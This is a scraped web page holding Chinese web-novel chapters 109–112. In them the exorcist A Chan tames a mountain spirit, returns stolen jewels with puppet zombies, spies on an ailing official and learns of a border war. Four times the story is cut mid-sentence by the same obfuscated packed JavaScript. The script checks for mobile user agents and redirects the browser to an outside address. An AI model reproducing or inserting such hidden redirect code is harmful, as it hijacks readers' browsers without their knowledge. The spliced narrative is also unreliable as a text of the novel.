那白髯魈立刻想跑,但随后,更加恐怖的事情发生了! 它感到自己的身前竟然不知何时也出现了一道隐形的屏障,无论往哪个方向跑,竟然都跑不出距离阿婵三丈远! 白髯魈终于明白,阿婵所言非虚,于是回过头来冷冷地盯着阿婵。半晌,它抬起一只手臂,指指前方,往前走了两步。 阿婵明白,这妖物终于是屈服了,它在给自己带路,便跟着它向前走去。 白髯魈带着阿婵走进了一个卡在岩石缝隙中,极难察觉的山洞,洞口小到只容阿婵趴着钻进去,稍微胖点的人都会被卡住。 谁知,钻进去爬行一阵,洞腔便变大了,阿婵终于可以站起来在山洞之中直立行走。 夜晚的山洞本应十分漆黑,但此处的洞壁之上却有一条衣带宽的带状光亮,莹莹如玉,无限向内延伸。 以至于阿婵都不用点火折子,便可以看清每一步脚下的路。 她凑上前仔细看去,才明白,这是一座矿脉,但发出这样的光芒,肯定不是金银铜矿,所以无人开采。 那白髯魈还在往里走,阿婵继续跟上去。 矿洞之中,走一段路便会有一个或几个分岔口,白髯魈几经转折,终于停住不动,回头看阿婵。 这时,阿婵看着眼前的场景,才终于明白了。 “你以这矿脉之中的灵气为食,但有人挖毁了灵脉?” 白髯魈点点头。 这里别有洞天,整个洞穴有蓬莱春一层楼那么大,中间有个深潭,矿脉延伸到此处被截断。 阿婵可以看到稀疏的灵气往外流动,但非常稀薄—— 这座灵脉已经接近枯竭。 如果白髯魈以此灵气为食,那么这就意味着,它的食物来源已经断了,不久就会死去。 它应该并没有老到须发皆白的程度,而是因为体内灵气不足,导致自己迅速衰老。 “这灵脉是被人挖毁的?” 阿婵仔细查看矿脉中断处,有锄头铁锹人为凿击的痕迹,洞内地上还有一排脚印,虽然遇水成泥模糊不清,但很明显,是人的脚印,看方向,这人可能是从深潭里游上来的。 看来有人寻到了此处,不知道出于什么原因挖毁了灵脉。 所以白髯魈也是没有办法,赖以为生的家园被毁了,它才被迫豢养僵尸去偷金银珠宝。 从金银珠宝中吸收的灵气,虽然比不上这矿脉的灵气,但也够白髯魈苟延残喘一阵了。 阿婵四处查看,发现这个山洞的角落里有两副棺材。 棺材的盖子都是打开的,里面空空如也。 “你豢养的僵尸是这个棺材中的吗?有两个?” 白髯魈点点头,转头示意她跟它走。 阿婵随白髯魈走出这个山洞,经过很长很长一段洞腔,转到一个岔路口,从这里进去是另一个山洞,这之中,有很多悬棺。 外面还有流水之声。 阿婵明白了。 应该是某个家族千辛万苦找到了这处隐蔽的风水宝地。 从这个洞出去,外面正对着一条河流,看流向,这里是前水口。 在风水上,前水口直对着坟墓,能够聚集灵气,可以提升坟墓的风水,给墓主人的家族后人带来富贵,所以这家人便将家族棺材集中安葬在了这里。 但估计这家人没有想到,葬在这里的祖先亲戚还没来得及给自己的家族带来富贵,便被白髯魈抓过来,养成僵尸,替它偷别人家的金银珠宝去了! 阿婵返回洞穴,对白髯魈淡淡说道:“我大概明白了,你马上让另一个僵尸也回来吧,别偷了,偷了也白偷。” 白髯魈:“……” 但阿婵的声音不容质疑,在她的强大威压之下,它只好发出一连串的啼鸣召唤僵尸返回,但在阿婵听上去,和平日里深山猿猴的啼鸣倒是没什么区别。 僵尸不可能那么快回来,等待的过程中,阿婵又问:“你知不知有个焦骨魈近日去闯了皇城?” 她从随身背囊中掏出一截焦骨魈面上的骨刺,递给白髯魈。 白髯魈眼神流露出了极大的惊恐,它闻了闻那骨刺,沉默半晌,示意阿婵跟着它走。 一人一魈走出洞穴,又回到了野外,绕过刚才埋珠宝的大坑,白髯魈带她到了另一个山包。 阿婵看到山包之上,一个三人合围的粗大古树树干上,有个巨型树洞。 白髯魈吹了一个口哨,树洞之中便露出了一个小黑脑袋。 是一只缩小版的焦骨魈! 它黑洞洞的眼神还不太凶狠可怖,只是十分兴奋,可能以为是好吃的来了。 但是没有,它没有看到熟悉的身影,只看到了白髯魈,和一个人?! 它立马警觉地缩进树洞。 “这是那焦骨魈的孩子?”阿婵问道。 白髯魈点点头。 阿婵沉默,怪不得焦骨魈会进入宫中冒险去偷珠宝,宫中的珠宝灵气更盛,比民间的好上不止一倍,而且它本来只要就地吸食灵气即可,却偏偏要吞进肚子带走,看来是要带回来给自己的孩子吸食。 可怜天下父母心。 只是如今,焦骨魈已被凌元道长带走处理,估计是回不来了,这小焦骨魈便只能自生自灭。 阿婵心有不忍,说到底是自己抓了焦骨魈,虽然它偷东西,但孩子没错,当下便将背囊中的几块金锭银锭留给小焦骨魈,看得白髯魈直流口水。 那小焦骨魈抱着金锭银锭,一边啃噬磨牙,一边吸收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425964|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵气。 它很小,吃不了多少,这几块真金白银够它撑几天。 但问题是,山中灵脉断了,这些魈类精怪,还有附近其他以灵脉为生的妖物精怪,一定会想办法去别的地方觅食、栖息。 到时候,不知道又会引起怎样的乱子。 “你知道是谁捣毁了灵脉吗?” 白髯魈摇摇头,比比划划半天。 它不会说话,阿婵猜半天也只能猜出是一个干瘦矮小的有胡子老头,但它好像也只看到了一个隐约的身影,并不确实是不是那人搞的,阿婵再问也问不出更多的线索了。 没办法,阿婵只好换了个话题,“这焦骨魈的孩子,你先照顾着。” 白髯魈:“???” 它脸上写满“凭什么”,又激动地指手画脚一番,意思是它自己都吃不饱呢,你还把僵尸给抓起来了,我上哪儿去给它找吃的? “放心,我这两天会给你提供足够的金银珠宝,灵脉的问题我也会想办法解决,但你要把偷来的金银珠宝都让我拿走还给失主。” 白髯魈当然吱哇乱叫地抗议,阿婵冲它做了个嘘声的威压动作,“抗议无效”。 白髯魈气得直跺脚! *** 过了一会儿,另一个僵尸迈着僵硬的步伐回来了,阿婵直接将它怀中的金银珠宝缴械。 她对白髯魈说:“借我你的两个僵尸用一用,我最快明后两日把你偷来的金银珠宝还回去,这账就一笔勾销。你还要发誓,今后不许再通过任何手段去偷,不然我就把你送去宫中,焦骨魈什么下场,你就什么下场。” 阿婵扬了扬手中的骨刺,白髯魈沉默地拉着脸,想不从,又不敢,最后只能极其勉强地点点头。 契约达成,它必须遵守。 阿婵又指了指它怀中躁动不安的小焦骨魈:“最迟后天晚上我回来给你们两个送食物,你好好照看它,听见没有?” 白髯魈又是一阵吱哇乱叫,意思十分好懂,是让阿婵最好守信用。 “放心,我一向说话算话。” 阿婵从随身背囊之中掏出一块玉珏,递给白髯魈。 白髯魈瞬间睁大眼睛,接过玉珏不住地抚摸。 那玉珏通体洁白如羊脂,月色映照下,还泛着淡淡的银色流光。 “这是素魄珏,可以吸收月华灵气,帮助你迅速提升自身修为,延缓寿命。我将它暂时放在你这里,这回你放心了吧?” 白髯魈手握玉珏,感到一股清正气息流入体内,自己油尽灯枯的气脉顿时畅通不少,知道阿婵没有骗它,这次终于痛快地点了点头。 山魈类的精怪十分注重公平,只要人能够拿东西和它做公平的交易,它便也是讲道理的,不会无理取闹。 阿婵见终于说服了它,接着便砍了几个粗大的树枝,用藤蔓扎了个简易的挑山轿,对白髯魈说:“我先回桓安了,但这一晚上我跋山涉水爬山钻洞太累了,让你的两个僵尸送我一程吧。” 白髯魈:“……” 阿婵已经抱着从坑中弄出来的所有金银珠宝,等着坐轿了。 白髯魈十分无语,但看在素魄珏的份儿上,还是指挥两个僵尸抬着阿婵往桓安城里颠颠跑去…… 随后,白髯魈抱着小焦骨魈,坐在空旷之地,手持素魄珏,吸收月华灵气。 *** 初昏十分,霍彦先才从绣衣察事司出来,准备回家,路过蓬莱春。 忽然,他感觉自己又出现了幻觉,怎么好像看到前方坐轿子的那个女子是阿婵??? 前一晚的经历让他觉得现在桓安就算看见鬼也不奇怪,尤其是像阿婵的女鬼。 “霍大人!”那女鬼远远朝自己招手。 直到听到这声呼唤,霍彦先才确认,这竟然就是阿婵! 但是,吭哧吭哧抬轿子的那两个骷髅架子又是什么鬼???!!! 109. 带她回家 每当霍彦先觉得自己跟着阿婵已经足够见多识广的时候,阿婵总更够让他的眼界更加开阔! 他想上前去,可身.下的马扬起前蹄,非常害怕那两个怪物,就是不肯再走半分。 没办法,他只好下马,独自走到阿婵身边。 “霍大人,真巧啊,我正要去找你呢!” 霍彦先见阿婵舒服地窝在藤编轿子上,不由得问:“你这又是干什么去了?什么妖魔鬼怪都能在桓安城里这样乱跑了吗?” 阿婵笑道:“放心吧大人,僵尸见了人会躲开的,我这一路上也没有碰见其他人。” “这大晚上的,你跟僵尸干嘛去了?” “我昨夜替一个贵女查她家的珠宝失窃案,你猜怎么着?竟让我找到了焦骨魈闯入宫中偷盗珠宝的原因!” “什么?!”霍彦先瞬间震惊。 既震惊阿婵独自一人只身便将这案子破了,更震惊她居然只用了短短一晚就找到了答案。 “这说来话长。”阿婵打着哈欠道,“我先找地方安顿一下这两个僵尸,大人如果有事可以先去忙,回头再说。” 一听到焦骨魈的案子终于有了眉目,霍彦先哪里还有心思忙别的事,立即说道:“放到我家去,你速速与我细说!” “啊?你家?这不好吧,会吓到霍夫人……”阿婵犹豫。 “不是霍府,是我自己的宅邸,那里人少清净。” 说着,霍彦先立刻上马在前面开路,为了不惊吓到马,僵尸在后面抬着阿婵,离得远远的。 片刻后,便到了霍彦先独居的宅邸。 他下马道:“你在这里等一下,我让府中人都先退下,免得吓到他们。” 说着他便大踏步跨阶进门,告诉迎上来的值守仆从,府上来了要客,立即将他院子里的闲杂人等都清走。 因霍彦先平日里办公几乎住在绣衣察事司,不怎么回家,偶尔回一次家补觉,也不喜欢太多人服侍,是以他府上仆从本就很少。 而且他绣衣副察事的身份本就神神秘秘,此刻要清人,仆从也习以为常,便熟练迅速地执行命令。 “好了,随我进来吧。” 霍彦先将阿婵和僵尸带到自己的院落之内。 果然四下无人,阿婵一路跟着他长驱直入,打量着这座宅邸。 果然是霍彦先的风格,这宅邸整体格调十分沉稳冷肃,任谁进来都不敢造次。虽然看得出仆从每日打扫得一尘不染,但这院落未免也太过干净了,简直称得上没有人居住过的痕迹! “大人是不是日常都住在绣衣察事司呀?看你这样子,和你家好像也不是很熟?” 阿婵让两个僵尸在院子里抱头蹲好,回头发现霍彦先想给她倒杯茶,但仆从不在,他一时竟不知道茶叶在哪儿。 在他找茶叶的当口,阿婵闲来无事,便将从龙岫岭找回的珠宝摊开放在院落里的石桌之上。 好在霍彦先是专业搞搜查的,不一会儿就从自己屋里“搜”出了茶叶,亲自烧水端了两杯茶过来。 “不好意思,确实不常回家。” “理解理解。” 霍彦先看着满石桌上摊开的金银珠宝,少说也价值几万两银。 他问道:“你说,那焦骨魈来自龙岫岭?” 阿婵点点头,随后便将从夏忆桐府上蹲守、跟踪僵尸,到在龙岫岭遇见白髯魈,发现灵脉被毁,既而发现小焦骨魈一事,事无巨细都告诉了霍彦先。 “这么说来,是有人刻意毁坏了龙岫岭的灵脉,不管是谁,必须严查!” 霍彦先神情严峻,这灵脉关系到桓安的风水福祉,有人想要搞破坏,绝对不能放过。 阿婵点点头:“嗯,而且当务之急,必须要尽快修复被损毁的灵脉,否则还会有更多妖物为祸桓安。 此外,灵脉被毁不是我一个人可以修复的,需要举全国玄学门派之力一起修复。” 霍彦先道:“等天亮我便去宫中和陛下汇报此事。修复灵脉这件事,可能还需要国师来牵头。” 提到国师,阿婵心中便有些膈应,但这件事涉及到山川矿脉的灵气走向,不是靠自己一人能够解决的,即便是国师,也要召集全国玄学高人一起商议此事,所以她决定先静观其变。 随后,她又想起一事:“大人有空可以派人去桓安府尹那里打听打听,最近有没有桓安大户人家私下丢失珠宝却查不到原因的。” 霍彦先明白她的意思:“你是说,有很多人家中丢了贵重金银首饰,没有声张,但有可能私下找府尹帮忙查此事?” “没错。这些金银珠宝数量众多,一定不止夏娘子和她好姐妹家中丢失的。我若想要物归原主,还需要核对一下失主。”阿婵道。 霍彦先思索道:“这个我会让杨奉安去查,但也不一定能将所有失主都找到,毕竟这些人家中不差钱,东西丢了或许也不在意。如果全部排查,需要耗些时间。” 阿婵忙道:“没关系,我只是要个名单而已,不需要大人再费神去查。” “你有什么想法?”霍彦先看她眸子亮亮的,便知她可能是又想出什么鬼点子了。 阿婵冲他眨眼笑笑,打了个响指,旁边两个僵尸便起身缓缓走到他们二人旁边,对着珠宝开始分拣。 霍彦先:“……” 他此生还从没离僵尸这么近过,隐隐往旁边挪了挪,试图拉开些距离。 “大人不必害怕,这两个僵尸已经被我下了傀儡术,没有我的指示,他们也不会伤人的。” “我不是害怕……”霍彦先嘟哝道,尽量让自己远离僵尸,随即岔开话题,“他们这是在做什么?” “这两个僵尸记得这些珠宝的气味来自哪家,我之后会下指令让他们‘再偷一次’,看他们往哪儿走,就知道是从哪家偷的了。 到时候,从哪家偷来的就送回哪家去,多省事。大人你给我的名单只需要用来核对一下即可。” 霍彦先:“……” 这种办法的确是阿婵一贯的风格,也就只有她能想到了。 霍彦先由衷钦佩:“不愧是你。” 阿婵嘿嘿一笑,“大人过奖。” “省事是省事了,但你要让这两个僵尸招摇过市,是要吓死多少人?” “那倒不用,给它俩裹严实点就好了。大人若有要扔掉的旧斗篷长袍可以给我两件,你身量这么高,衣服长度刚好可以把它们从头到脚包得密不透风。” “我随后让仆从给你送到院门口,还有靴子和手套都戴上,免得吓到百姓。” “大人真是思虑周全!”阿婵赶紧恭维。 随后十分狗腿地搓搓手:“另外,之后归还珠宝的时候,不知大人可否帮我个小忙?” “什么小忙?” “到时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“什么?!你说五郎今晨带了个小娘子回府?!” 霍夫人今日一睁开眼,便听到了这不可思议的消息。 “是的老夫人,郎君今晨带人回府,还是换了衣裳洗漱后才出门的!” “哎呀!这感情好!五郎这个年纪,要是再不带个小娘子回府,我都要怀疑他有龙阳之好了!” 霍夫人热泪盈眶,随即赶紧问道:“那小娘子长什么样子?” “甚是清丽!虽不施粉黛,样貌身段也绝对是桓安一等一的佳人!” 霍夫人派去霍彦先宅邸的眼线仆从,眼中冒出兴奋的光。 不容易啊!老夫人交给自己的任务,这么多年来一直没有完成,他都愧对自己每月领那么多的赏钱,今日可算是能给老夫人有个交代了! 他继续兴奋道:“而且她对郎君可好了,郎君走后,她还帮郎君缝补旧衣服,管我们要针线的时候,也是客客气气,笑意盈盈的,看得出脾性温和,是个好姑娘。” “如此贤惠!好好好!可算是有个知冷知热知道心疼他的人了!” “郎君也对她爱护有加,严令我们不许进院中打扰。” “千盼万盼,为娘可算是盼到今日了!” 礼法不重要!先斩后奏不重要!重要的是终于铁树开花了! 霍夫人老泪纵横,一拍桌子,“到底是哪家的小娘子,速速再探,再报!” 110. 挣了好多钱! 阿婵“打扮”完僵尸,又耐心等着僵尸分拣珠宝,将其分类打包好。 她数了数,一共是六家,等一下去归还珠宝,需要速战速决。毕竟明日就要进宫给金嗽鸟治伤,不能拖沓,要让霍彦先的冷脸发挥好作用。 之后不久,霍彦先和杨奉安半路遇到,一起回来找阿婵。 霍彦先道:“圣人已经让国师彻查龙岫岭灵脉一事,我们可以先去归还珠宝,而后还需你带我们去龙岫岭的灵脉实地考察一下。” “没问题,我也要去给白髯魈和小焦骨魈送口粮。”阿婵道。 霍彦先又将一个好消息告诉她:“此外,你破获焦骨魈一案有功,待到明日.你进宫为金嗽鸟治伤,届时圣人会亲自接见你,给你嘉奖。” “亲自接见?还有嘉奖!”阿婵困倦眼中顿时有了光。 她只顾着估算从那六家富户处能赚多少功德金,却不敢想圣人这里还能有一份嘉奖! 不错不错,这趟确实没白忙活,提前在圣人这里积攒一些好感,这样说不定以后光明正大入宫的机会就能更多一些,若是能入司辰局…… 想到这里,阿婵感觉一晚上的疲惫都烟消云散,浑身使不完的力气,对霍彦先和杨奉安道:“那我们快走吧!” *** 现在是青天.白日,路上全是人,阿婵没敢让僵尸抬着她满坊间乱晃,而是先牵着一个僵尸,把另一个放在后面的马车里。 等到将第一个僵尸偷的金银珠宝归还完毕,再换另外一位。 僵尸得到再次偷盗的指令,嗅着气味闷头往前走。 霍彦先跟在后面,看阿婵一路牵着僵尸走,脸色阴沉。 他后悔了! 不该让僵尸穿自己的衣服!戴自己的手套!穿自己的靴子! 那僵尸穿着霍彦先裁掉好宽一截依旧拖地的旧衣服,手上戴着霍彦先的手套,脚上穿着霍彦先的靴子,脸上蒙着黑布做的面罩,低头驼背,慢慢地走。 每一步都走得像半身不遂,十分僵硬诡异,连带着霍彦先看着都觉得自己不会走路了! 还有! 他视线落在了阿婵牵着僵尸的手上……眼中涌动说不清道不明的情绪。 杨奉安看着自家大人的脸,一路越走越黑,越走越黑,虽然不知道为什么,但他十分知趣地往霍彦先旁边挪了挪,试图离远一点,大气都不敢出。 *** 杨奉安去桓安府尹那里一共打听到两家人私下报失珠宝,都是桓安显贵,再加上夏忆桐和她的好姐妹——桓安最大的珠宝商家,一共是四家,也就是还有两家嘴很严,什么都没有对外声张。 僵尸带着三人首先来到夏府。 夏忆桐看着满桌的金银珠宝,简直不敢相信自己的眼睛: “天哪,居士你也太厉害了吧!才一天,就把这些全都找回来了?” 不止是她,还有她的母亲夏夫人,泪眼汪汪简直要给阿婵行跪谢大礼。 天知道她在夏府执掌中馈压力有多大! 家中各房东西失窃之后,虽然没有报官,表面上也没有对她说什么,但她可是知道的,那些人私下里没少在公婆面前编排她管理不利,就想着把她弄下来,让自己那一房上位! 这些天她吃不下睡不好,眼看着没办法解决的事情,女儿竟然入宫一趟就请来这样的高人神仙,只到府上看了一眼,第二天就把事情解决了! 不仅找到了金银珠宝丢失的原因,还当着府上那么多人的面,原物奉还,一件不少。她哪能不感激! 夏夫人这下连腰板都挺得直直的,拿出厚厚一叠银票,说什么也要让阿婵收下。 阿婵自然是装模作样推拒一番,揣进了兜里。 “居士,那僵尸来过我们府上,会不会残留晦气?可否帮我们祛除一下?”夏夫人谨慎问道。 阿婵收了钱本欲告辞离开,一听这话,便又坐下写了个纸条给她。 “夫人、娘子,你们按照这上面写的物件采买之后,安放在府中各个方位,即可祛除邪气。另外,我再给你们一些清心符、平安符,你们平日里戴在身上,应该就没什么大碍了。” “多谢闻寰居士!”夏夫人又痛快地给了阿婵一笔功德金。 看得杨奉安心中艳羡不已,不愧是闻寰居士,光是这一家收到的功德金,就能在桓安买一座不错的小宅子了! 要是以后自己在绣衣察事司混不下去了,他能不能拜闻寰居士为师啊! …… 剩余五家,距离都不远,可见僵尸偷盗的时候也惯会偷懒,基本是以夏府为中心,出了这家走两步,就到了下一家。 在这几家府上,起初阿婵言简意赅讲明来意,他们还以为她是骗子,待到霍彦先冷着脸出现在阿婵身后,对方一句话都不敢再质疑,直接请上座,端好茶。 至于阿婵旁边那个走路奇怪僵硬,把自己包成一个巨型黑粽子,全身上下密不透风的家伙,这么诡异,大概又是那绣衣察事司的什么新成员,他们更是问也不敢问一句啊! 总之,有霍彦先在旁边,阿婵归还珠宝之事进展得无比顺利迅速。 最后一家,便是夏忆桐的好姐妹——桓安最大的珠宝商家,从她家出来的时候,杨奉安的嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15439658|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角简直都在抽搐。 他这辈子除了查处贪污犯的时候,从来没有见过那么多的银票! 而厚如一本书的银票,甚至快比归还的金银珠宝更值钱了。而这么多钱,竟然被闻寰居士半天时间不到就赚到了手! 他再次感叹自己入错了行,要不是家里穷,谁会在绣衣察事司出生入死每个月才拿那点俸禄啊! 阿婵心满意足地拿着厚厚一沓银票,笑得见牙不见眼。 因许多珠宝都是这几个显贵人家中夫人的陪嫁或者传家之宝,这意义不能用金钱来衡量,因此各家也是真心感激阿婵,给起功德金来是无比大方。 尤其是那个桓安最大的珠宝商家,比之官宦人家,那更是财大气粗! 霍彦先今日闷不吭声,在阿婵旁边尽职尽责地充当移动的门神,也终于对自己在桓安朝臣家中的名声又有了清晰的认知。看他们那一个个在他面前瑟瑟发.抖的样子,是不是心虚?回去有空得好好查查! 阿婵穷人暴富,身怀巨款,十分慷慨地邀请霍彦先和杨奉安: “今日辛苦霍大人和小杨大人一路陪伴,一会儿我做东,咱们去蓬莱春大吃一顿,吃饱了才有力气继续干活!随便点!” “居士太客气了!”杨奉安大声捧场。 “别客气别客气!” “……”霍彦先看着前面俩人一唱一和哥俩好的样子,脸更黑了。 路过银庄,阿婵忽然道:“二位请稍等,我进去一下。” “这么多钱,是得存起来些!”杨奉安道。 待到阿婵从银庄提着沉甸甸的金锭银锭出来,杨奉安惊呆,赶紧帮她拿着:“居士你这是做什么啊?” 霍彦先也帮她提着另一些,不解地看着阿婵:“怎么换成这个了?” 阿婵道:“霍大人,到时候咱们去龙岫岭的时候,这些都得带着,我那晚答应给小焦骨魈和白髯魈给它们带口粮来着。” 杨奉安目瞪口呆,“这么多,全给它们吃呀?” 阿婵点点头:“灵脉还不知道何时才能恢复,要给它们留足够多的口粮才行,我这还怕不够呢。” 霍彦先看着阿婵,目光深沉了几分,嘴上却说:“你还真是穷大方惯了!” 阿婵无所谓的一笑,“走吧走吧,吃饭去!” 霍彦先瞥她一眼:“你没留请客的钱吧。” “啊呀!”阿婵一拍脑门,笑得纯良:“不愧是大人,太了解我了!你说我怎么就忘了呢……” 哼!他就知道! 到头来还是宰他! 霍彦先轻哼一声,朝前走去。 111. 再起祸患 在蓬莱春宰了霍彦先一顿大餐之后,阿婵和他约好到时一起去龙岫岭。 而后,她送走霍彦先和杨奉安,直接将僵尸放在房中,好好补了个眠。 这一天一宿她东跑西颠,确实是累了,沉沉睡了一觉,醒来已是黄昏。 夏忆桐过来找她。 “不好意思啊,闻寰居士,你帮了我家这么大的帮,我本来答应替你引荐庄菡娘子到她府上去给段行玠大人看病,但没想到她十分抗拒,说是不太方便,只是普通疾病而已,不需要方士上门。 不管我怎么劝说,她都不答应,我也属实意外,答应你的事情没办成,实在是太不好意思了!” 夏忆桐十分内疚,拉着阿婵的手再三致歉。 “无妨,医不叩门,既然多有不便,那我也不必勉强,许是缘分未到。” 没办法正大光明地去庄菡公公那里探病,阿婵心中自然是失望的,但嘴上却还是这样安慰夏忆桐。 夏忆桐满怀内疚走后,阿婵却在窗边一边看着天象,一边思索。 段行玠的病症如果和传闻一样,必然不是普通病症,庄菡为什么不让去探病? 她心下更加奇怪,本来只是有一搭无一搭地问问,但现在她却越来越好奇,非去看看不可。 明的不行,那她就暗地里去查探一下。 因为明天要入宫,之后又要去龙岫岭,都没有什么时间,阿婵当机立断,决定今晚就去段府简单打探一下,反正已经睡饱了。 *** 入夜,段府。 阿婵趴在段行玠的院落屋顶上观察了半天,发现这院内院外各站了一圈侍卫,看这架势,严防死守,连只蚊子都飞不进去。 这不是段府的主屋,段行玠自生了病之后,就搬到了这个院子中,独自在此养病。 她掀开屋顶的瓦片,屋内浓重的药味扑鼻而来,向内瞧去,屋中似乎没有任何仆从。 阿婵皱眉,这段子岳和庄菡是不是害怕段行玠的病会传染,怎么连侍奉仆从都没有安排,这是要让这一家之主自生自灭? 她刚才还试图乔装成段府新来的婢女,打算跟府中人聊一聊,看能不能借送药的机会,进屋看看。 结果据府中仆从说,药都是大郎君段子岳亲自喂,其他人压根没办法接触到段行玠。 这情况,阿婵越发觉得蹊跷。 到底生了什么病,需要这样严格地和外人隔离? 她只好耐心在屋顶继续等待时机,终于等到段子岳给父亲喂完药出来。 只听得段子岳叮嘱侍卫,“看好家主,任何人没有我的允许,都不许进屋,不要大意!听见了没有!” “是!郎君!”众侍卫应道。 等到段子岳走了一阵,院落之中恢复安静,阿婵便掏出几颗烟雾弹,从屋顶掀开瓦片投了进去。 既然进不去,那就让段行玠出来给她瞧瞧! 过了片刻,房中浓重的烟雾顺着窗缝、门缝弥漫出来,门外的侍卫发现异样,吓得立刻大喊—— “走水了!走水了!” 随后,最靠门前的两个侍卫立刻破门而入,将段行玠从房间中抬出来,不管什么情况,不能伤及家主! 阿婵趁乱跃下屋顶,待侍卫出了院落,赶紧上前问道:“这是怎么了?” 她打扮成段府婢女的模样,混乱中侍卫也没有在意她脸不脸生,只道:“院内似乎走水了!赶紧把家主转移到别的房间去!” “哦哦!”阿婵顺着他们应道,一路小跑在旁边跟着。 段行玠被侍卫抬着,虽然阿婵不能直接接触到,但她可以清楚地看到段行玠确实如传言所说的那样—— 似乎是一.夜之间被什么东西吸干了血液,脸颊凹陷,枯瘦乌青,皮包骨头,双眼紧闭,手也状如枯枝,无力地耷拉着,一副行将就木的样子。 可是,还没等她继续看清楚,到了院外,突然段子岳不知道从哪里冲过来,将所有的侍卫仆从都赶开,亲自接过父亲,将段行玠暴露在外面的头脸遮住,似是怕见光。 他直接将人背至自己房中,嘴上还大声嚷着:“你们都不用过来!” 这下阿婵心中更觉奇怪,怎么看起来,这段子岳是不想让段行玠出现在人前,连府中下人都想隐瞒的样子? 看他这种遮遮掩掩无比紧绷的态度,估计今夜自己也不好打探,只能再另想办法。 趁府中侍卫还没搞清楚浓烟的原因,阿婵便趁乱从人群中消失,悄悄出了段府。 一路回到蓬莱春,她顺便夜观天象,却发现桓安南边隐隐有火光,不知道发生了什么事情。 *** 第二日,阿婵如约带着药膏进宫,给嗽金鸟治伤。 这次是玥宜公主和她一起到御花园的珍禽阁,没有见到桓帝。 玥宜公主道:“闻寰居士, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15443673|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之前听父皇说,你已经找到了焦骨魈闯入宫中偷盗的原因,真是厉害!父皇他本想亲自给你赏赐,但因现在朝中.出了些紧急事务,他暂时没空,便由我代为转达。” 她一挥手,宫人便将赏赐拿了上来。 阿婵看到赏赐之中,有金银各两千五百两,还有珍贵的药材、布匹之类,和上次她奉命捉拿狈负蛇之后玥宜公主给她的赏赐品类差不多,只是数量更多,质感品级也更好。 “多谢陛下,多谢公主。”阿婵谢恩。 随后,她一边给嗽金鸟上药,一边和玥宜公主闲聊,“不知朝中何时如此紧急,可是和妖物有关?” 玥宜公主摇摇头:“这次和妖物倒是没什么关系,是边关的战事,我也不清楚细节。” 阿婵知道这涉及军事机密,便识趣地没有再问下去,当下转换话题,和玥宜公主聊起了驻颜术之类。 *** 勤政殿。 桓帝将西北边关传来的军报“啪”地一声拍在了桌子上,怒问兵部尚书邹远杰: “你之前不是跟朕说,陇丰镇只是一场小仗吗?怎么如今又告诉朕战事吃紧了!现在我们大桓的精兵连区区东朔勒都搞不定了吗!” “回陛下……”兵部尚书邹远杰赶紧跪倒在地解释。 霍彦先在一旁静静听着,心中也觉奇怪。 之前朔勒的东边分支——东朔勒的几百骑兵,在西北陇丰镇抢掠财物。当时兵部十分自信地说,只要派遣一千兵力驱赶震慑东朔勒即可。 那时,他和阿婵还在忙于调查煞气案,于北郊密林追踪到阮云薇豢养煞气的老巢之后,回来遇到一个老妪在市集闹事,她儿子就是在这场战事之中牺牲的。 可当时,兵部预测这只是一场小战,很快就会结束,不会对边境局势造成什么严重的影响。 既是战事,偶有牺牲也算正常,因此圣人只是强调为了平息民间关于战事的负面舆论,让他全力调查煞气案真相。 但这才没过多久,陇丰镇的局势竟然急转直下,大桓派去的一千精锐竟然现出颓败之势,这样下去,万一西朔勒的大部队趁乱火上浇油,边境很可能再起祸患。 霍彦先忽然想起,那晚他和阿婵在房檐上观星,当时阿婵曾说过的占辞—— 大客星入月中,月无光,四夷来侵,棺木贵,民多病亡,野犬多狂。 这件事不会又让阿婵说中了吧! 112. 圣物禳灾 勤政殿。 兵部尚书邹远杰还在对暴怒的桓帝解释。 军报显示,大桓派出的一千兵力士气严重不足。军中虽曾出现小范围火灾,烧了部分军粮,但损失不大,兵部已经紧急转运了新的粮草过去弥补,且督促尽快查清火灾原因。 但军中应有预案,不可能因为一点军粮被烧毁整体士气如此低落,很可能是率领军队的将军窦良才用兵不利。 “兵马未动,粮草先行!这么简单的道理,他窦良才竟连自己的口粮都看不住!你们之前为何不报?!” 邹远杰一脑门子汗,赶紧道: “因为附近辖区刚好有一批备用军粮,很快就运过去了,臣认为火灾的发生和窦良才管理不利脱不开关系。 